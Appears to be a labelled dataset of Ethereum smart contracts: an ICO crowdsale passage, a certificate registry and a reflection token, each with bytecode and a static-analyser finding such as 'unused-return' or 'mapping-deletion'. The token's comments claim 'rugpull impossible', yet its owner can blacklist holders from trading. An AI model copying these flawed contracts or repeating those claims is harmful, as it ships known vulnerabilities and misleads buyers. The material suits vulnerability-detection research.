* @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract SimpleTokenCoin is MintableToken { string public constant name = "Coal Coin"; string public constant symbol = "CC2"; uint32 public constant decimals = 18; function SimpleTokenCoin (){ totalSupply = 0; } } contract Crowdsale is Ownable { using SafeMath for uint; address multisig; uint restrictedPercent; address restricted; SimpleTokenCoin public token = new SimpleTokenCoin(); uint start; uint period; uint hardcap; uint public rate; function Crowdsale() { // адресс, который будет получать эфир, за который покупают токены multisig = 0x262C53E519eCD2D2bbAEcc12f7a31847bd33B969; // адрес, на который будут капать проценты от купленных токенов restricted = 0x262C53E519eCD2D2bbAEcc12f7a31847bd33B969; // процент монет, которые пойдут на кошелек restrictedPercent restrictedPercent = 0; // стоимость 1 эфира в нашем токене (уч 18 знаков, после запятой) rate = 100000000*(1000000000000000000); // unix-время начала ico и количество дней до его завершения start = 1505865600; //09/20/2017 @ 12:00am (UTC) period = 128; // лимит монет для покупки через контракт (~1000 ефиров) hardcap = 9500000*(1000000000000000000); } // модификатор определяет доступна ли покупка монет (по времени ICO) modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } // модификатор определяет доступна ли покупка монет (по количеству монет) modifier isUnderHardCap() { require(token.totalSupply() <= hardcap); _; } // установка новой цены function setRate(uint _rate) onlyOwner { rate = _rate; } // функция окончания ICO function finishMinting() onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(100 - restrictedPercent); token.mint(restricted, restrictedTokens); token.finishMinting(); } // создание монет function createTokens() isUnderHardCap saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); token.mint(msg.sender, tokens); } function() external payable { createTokens(); } }
0x60606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e1461008b57806334fcf437146100b45780637d64bcb4146100d75780638da5cb5b146100ec578063b442726314610141578063f2fde38b1461014b578063fc0c546a14610184575b6100896101d9565b005b341561009657600080fd5b61009e610439565b6040518082815260200191505060405180910390f35b34156100bf57600080fd5b6100d5600480803590602001909190505061043f565b005b34156100e257600080fd5b6100ea6104a4565b005b34156100f757600080fd5b6100ff610794565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101496101d9565b005b341561015657600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107b9565b005b341561018f57600080fd5b610197610893565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600754600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561026c57600080fd5b6102c65a03f1151561027d57600080fd5b505050604051805190501115151561029457600080fd5b600554421180156102af575062015180600654026005540142105b15156102ba57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561031c57600080fd5b61034b670de0b6b3a764000061033d346008546108b990919063ffffffff16565b6108ec90919063ffffffff16565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561041a57600080fd5b6102c65a03f1151561042b57600080fd5b505050604051805190505050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561049a57600080fd5b8060088190555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561050257600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561059057600080fd5b6102c65a03f115156105a157600080fd5b5050506040518051905091506105d96002546064036105cb600254856108b990919063ffffffff16565b6108ec90919063ffffffff16565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156106ca57600080fd5b6102c65a03f115156106db57600080fd5b5050506040518051905050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561077457600080fd5b6102c65a03f1151561078557600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561085057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806108da57508284828115156108d757fe5b04145b15156108e257fe5b8091505092915050565b60008082848115156108fa57fe5b04905080915050929150505600a165627a7a72305820a7c30f46e5732edadcee5ff822c991189867bee679119fcfec407a7f5c640a2b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,888
0x45e28eaee379604e7c58428c37ff90f7b5f5155d
/** * @title Certificate Library * ░V░e░r░i░f░i░e░d░ ░O░n░ ░C░h░a░i░n░ * Visit https://verifiedonchain.com/ */ pragma solidity 0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library CertificateLibrary { struct Document { bytes ipfsHash; bytes32 transcriptHash; bytes32 contentHash; } /** * @notice Add Certification to a student * @param _contentHash - Hash of the document * @param _ipfsHash - IPFS Hash of the document * @param _transcriptHash - Transcript Hash of the document **/ function addCertification(Document storage self, bytes32 _contentHash, bytes _ipfsHash, bytes32 _transcriptHash) public { self.ipfsHash = _ipfsHash; self.contentHash= _contentHash; self.transcriptHash = _transcriptHash; } /** * @notice Validate Certification to a student * @param _ipfsHash - IPFS Hash of the document * @param _contentHash - Content Hash of the document * @param _transcriptHash - Transcript Hash of the document * @return Returns true if validation is successful **/ function validate(Document storage self, bytes _ipfsHash, bytes32 _contentHash, bytes32 _transcriptHash) public view returns(bool) { bytes storage ipfsHash = self.ipfsHash; bytes32 contentHash = self.contentHash; bytes32 transcriptHash = self.transcriptHash; return contentHash == _contentHash && keccak256(ipfsHash) == keccak256(_ipfsHash) && transcriptHash == _transcriptHash; } /** * @notice Validate IPFS Hash alone of a student * @param _ipfsHash - IPFS Hash of the document * @return Returns true if validation is successful **/ function validateIpfsDoc(Document storage self, bytes _ipfsHash) public view returns(bool) { bytes storage ipfsHash = self.ipfsHash; return keccak256(ipfsHash) == keccak256(_ipfsHash); } /** * @notice Validate Content Hash alone of a student * @param _contentHash - Content Hash of the document * @return Returns true if validation is successful **/ function validateContentHash(Document storage self, bytes32 _contentHash) public view returns(bool) { bytes32 contentHash = self.contentHash; return contentHash == _contentHash; } /** * @notice Validate Content Hash alone of a student * @param _transcriptHash - Transcript Hash of the document * @return Returns true if validation is successful **/ function validateTranscriptHash(Document storage self, bytes32 _transcriptHash) public view returns(bool) { bytes32 transcriptHash = self.transcriptHash; return transcriptHash == _transcriptHash; } } contract Certificate is Ownable { using CertificateLibrary for CertificateLibrary.Document; struct Certification { mapping (uint => CertificateLibrary.Document) documents; uint16 indx; } mapping (address => Certification) studentCertifications; event CertificationAdded(address userAddress, uint docIndx); /** * @notice Add Certification to a student * @param _student - Address of student * @param _contentHash - Hash of the document * @param _ipfsHash - IPFS Hash of the document * @param _transcriptHash - Transcript Hash of the document **/ function addCertification(address _student, bytes32 _contentHash, bytes _ipfsHash, bytes32 _transcriptHash) public onlyOwner { uint currIndx = studentCertifications[_student].indx; (studentCertifications[_student].documents[currIndx]).addCertification(_contentHash, _ipfsHash, _transcriptHash); studentCertifications[_student].indx++; emit CertificationAdded(_student, currIndx); } /** * @notice Validate Certification to a student * @param _student - Address of student * @param _docIndx - Index of the document to be validated * @param _contentHash - Content Hash of the document * @param _ipfsHash - IPFS Hash of the document * @param _transcriptHash - Transcript Hash of the GradeSheet * @return Returns true if validation is successful **/ function validate(address _student, uint _docIndx, bytes32 _contentHash, bytes _ipfsHash, bytes32 _transcriptHash) public view returns(bool) { Certification storage certification = studentCertifications[_student]; return (certification.documents[_docIndx]).validate(_ipfsHash, _contentHash, _transcriptHash); } /** * @notice Validate IPFS Hash alone of a student * @param _student - Address of student * @param _docIndx - Index of the document to be validated * @param _ipfsHash - IPFS Hash of the document * @return Returns true if validation is successful **/ function validateIpfsDoc(address _student, uint _docIndx, bytes _ipfsHash) public view returns(bool) { Certification storage certification = studentCertifications[_student]; return (certification.documents[_docIndx]).validateIpfsDoc(_ipfsHash); } /** * @notice Validate Content Hash alone of a student * @param _student - Address of student * @param _docIndx - Index of the document to be validated * @param _contentHash - Content Hash of the document * @return Returns true if validation is successful **/ function validateContentHash(address _student, uint _docIndx, bytes32 _contentHash) public view returns(bool) { Certification storage certification = studentCertifications[_student]; return (certification.documents[_docIndx]).validateContentHash(_contentHash); } /** * @notice Validate Transcript Hash alone of a student * @param _student - Address of student * @param _transcriptHash - Transcript Hash of the GradeSheet * @return Returns true if validation is successful **/ function validateTranscriptHash(address _student, uint _docIndx, bytes32 _transcriptHash) public view returns(bool) { Certification storage certification = studentCertifications[_student]; return (certification.documents[_docIndx]).validateTranscriptHash(_transcriptHash); } /** * @notice Get Certification Document Count * @param _student - Address of student * @return Returns the total number of certifications for a student **/ function getCertifiedDocCount(address _student) public view returns(uint256) { return studentCertifications[_student].indx; } /** * @notice Get Certification Document from DocType * @param _student - Address of student * @param _docIndx - Index of the document to be validated * @return Returns IPFSHash, ContentHash, TranscriptHash of the document **/ function getCertificationDocument(address _student, uint _docIndx) public view onlyOwner returns (bytes, bytes32, bytes32) { return ((studentCertifications[_student].documents[_docIndx]).ipfsHash, (studentCertifications[_student].documents[_docIndx]).contentHash, (studentCertifications[_student].documents[_docIndx]).transcriptHash); } /** * @param _studentAddrOld - Address of student old * @param _studentAddrNew - Address of student new * May fail due to gas exceptions * ADVICE: * Check gas and then send **/ function transferAll(address _studentAddrOld, address _studentAddrNew) public onlyOwner { studentCertifications[_studentAddrNew] = studentCertifications[_studentAddrOld]; delete studentCertifications[_studentAddrOld]; } /** * @param _studentAddrOld - Address of student old * @param _studentAddrNew - Address of student new **/ function transferDoc(uint docIndx, address _studentAddrOld, address _studentAddrNew) public onlyOwner { studentCertifications[_studentAddrNew].documents[docIndx] = studentCertifications[_studentAddrOld].documents[docIndx]; delete studentCertifications[_studentAddrOld].documents[docIndx]; } }
0x6080604052600436106100b95763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663237082bd81146100be57806348f1e9c2146100f15780634b14e0031461019b57806367c281a9146101c45780636fa6c360146101ff578063715018a6146102265780638da5cb5b1461023b578063a4e339c11461026c578063acc32da3146102da578063e2ad069914610343578063f2fde38b146103ae578063f6310813146103cf575b600080fd5b3480156100ca57600080fd5b506100df600160a060020a03600435166103f9565b60408051918252519081900360200190f35b3480156100fd57600080fd5b50610115600160a060020a036004351660243561041c565b6040805160208082018590529181018390526060808252855190820152845190918291608083019187019080838360005b8381101561015e578181015183820152602001610146565b50505050905090810190601f16801561018b5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b3480156101a757600080fd5b506101c2600160a060020a03600435811690602435166104ff565b005b3480156101d057600080fd5b506101eb600160a060020a036004351660243560443561055e565b604080519115158252519081900360200190f35b34801561020b57600080fd5b506101eb600160a060020a0360043516602435604435610626565b34801561023257600080fd5b506101c26106b9565b34801561024757600080fd5b50610250610725565b60408051600160a060020a039092168252519081900360200190f35b34801561027857600080fd5b50604080516020601f6064356004818101359283018490048402850184019095528184526101eb94600160a060020a03813516946024803595604435953695608494930191819084018382808284375094975050933594506107349350505050565b3480156102e657600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101eb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108769650505050505050565b34801561034f57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101c2948235600160a060020a031694602480359536959460649492019190819084018382808284375094975050933594506109699350505050565b3480156103ba57600080fd5b506101c2600160a060020a0360043516610b24565b3480156103db57600080fd5b506101c2600435600160a060020a0360243581169060443516610b47565b600160a060020a03166000908152600160208190526040909120015461ffff1690565b60008054606091908190600160a060020a0316331461043a57600080fd5b600160a060020a038516600090815260016020818152604080842088855282529283902060028082015482850154835487519681161561010002600019011692909204601f8101859004850286018501909652858552919491939092909185918301828280156104eb5780601f106104c0576101008083540402835291602001916104eb565b820191906000526020600020905b8154815290600101906020018083116104ce57829003601f168201915b505050505092509250925092509250925092565b600054600160a060020a0316331461051657600080fd5b600160a060020a039182166000818152600160208190526040808320949095168252938120928401805493909401805461ffff90941661ffff19948516179055528154169055565b600160a060020a038316600090815260016020908152604080832085845280835281842082517f5a271ed7000000000000000000000000000000000000000000000000000000008152600481019190915260248101869052915190927386e8451b5a05435484a84ad4235808a3df9b048d92635a271ed79260448083019392829003018186803b1580156105f157600080fd5b505af4158015610605573d6000803e3d6000fd5b505050506040513d602081101561061b57600080fd5b505195945050505050565b600160a060020a038316600090815260016020908152604080832085845280835281842082517f0c5667d4000000000000000000000000000000000000000000000000000000008152600481019190915260248101869052915190927386e8451b5a05435484a84ad4235808a3df9b048d92630c5667d49260448083019392829003018186803b1580156105f157600080fd5b600054600160a060020a031633146106d057600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600160a060020a038516600090815260016020908152604080832087845280835281842091517f79f1453800000000000000000000000000000000000000000000000000000000815260048101838152604482018990526064820187905260806024830190815288516084840152885193957386e8451b5a05435484a84ad4235808a3df9b048d956379f145389590948b948d948c949193909260a401918701908083838f5b838110156107f25781810151838201526020016107da565b50505050905090810190601f16801561081f5780820380516001836020036101000a031916815260200191505b509550505050505060206040518083038186803b15801561083f57600080fd5b505af4158015610853573d6000803e3d6000fd5b505050506040513d602081101561086957600080fd5b5051979650505050505050565b600160a060020a038316600090815260016020908152604080832085845280835281842082517fc65019f0000000000000000000000000000000000000000000000000000000008152600481018281526024820194855287516044830152875193957386e8451b5a05435484a84ad4235808a3df9b048d9563c65019f0958a9491926064909201918501908083838d5b8381101561091e578181015183820152602001610906565b50505050905090810190601f16801561094b5780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b1580156105f157600080fd5b60008054600160a060020a0316331461098157600080fd5b50600160a060020a03841660009081526001602081815260408084209283015461ffff1680855292825280842090517fc5d8e8db00000000000000000000000000000000000000000000000000000000815260048101828152602482018990526064820187905260806044830190815288516084840152885195967386e8451b5a05435484a84ad4235808a3df9b048d9663c5d8e8db968c958c958c959094909360a490920192870191908190849084905b83811015610a4b578181015183820152602001610a33565b50505050905090810190601f168015610a785780820380516001836020036101000a031916815260200191505b509550505050505060006040518083038186803b158015610a9857600080fd5b505af4158015610aac573d6000803e3d6000fd5b50505050600160a060020a0385166000818152600160208181526040928390208201805461ffff19811661ffff91821690940116929092179091558151928352820183905280517f42cc05755266e300089d6f46d18fcf7e051aa64bd4f72dc5fed18e2edf908f809281900390910190a15050505050565b600054600160a060020a03163314610b3b57600080fd5b610b4481610c12565b50565b600054600160a060020a03163314610b5e57600080fd5b600160a060020a0382811660009081526001602081815260408084208885528252808420948616845282825280842088855290915290912082549091610bb7918391859160029181161561010002600019011604610c8f565b50600182810154828201556002928301549290910191909155600160a060020a03831660009081526020918252604080822086835290925290812090610bfd8282610d14565b50600060018201819055600290910155505050565b600160a060020a0381161515610c2757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610cc85780548555610d04565b82800160010185558215610d0457600052602060002091601f016020900482015b82811115610d04578254825591600101919060010190610ce9565b50610d10929150610d54565b5090565b50805460018160011615610100020316600290046000825580601f10610d3a5750610b44565b601f016020900490600052602060002090810190610b4491905b610d6e91905b80821115610d105760008155600101610d5a565b905600a165627a7a72305820283334b017ca42c14fb674c8e2f187ce715db3e06eb31eeea6e062d2b4caa1dc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}]}}
4,889
0x6705aedd6117ecb9204986c7e83515633eedfbf3
/** *Submitted for verification at Etherscan.io on 2021-09-26 */ /* Twitter: https://twitter.com/TsubasaERC Telegram: https://t.me/CaptainTsubasaERC Website: https://captain-tsubasa.io/ Fair launch at 2021-09-26 19:00 UTC. No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, permanent buy limit = 10,000,000,000, no sell limit. 2% redistribution on every sell 30 seconds cooldown on each buy. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CaptainTsubasa is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _previousFeeAddr1 = _feeAddr1; uint256 private _previousFeeAddr2 = _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Captain Tsubasa"; string private constant _symbol = "TSUBASA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _feeAddrWallet1 = FeeAddress; _feeAddrWallet2 = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= 10e9 * 10**9); // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function openTrading() public onlyOwner { tradingOpen = true; } function removeAllFee() private { if(_feeAddr1 == 0 && _feeAddr2 == 0) return; _previousFeeAddr1 = _feeAddr1; _previousFeeAddr2 = _feeAddr2; _feeAddr1 = 0; _feeAddr2 = 0; } function restoreAllFee() private { _feeAddr1 = _previousFeeAddr1; _feeAddr2 = _previousFeeAddr2; } }
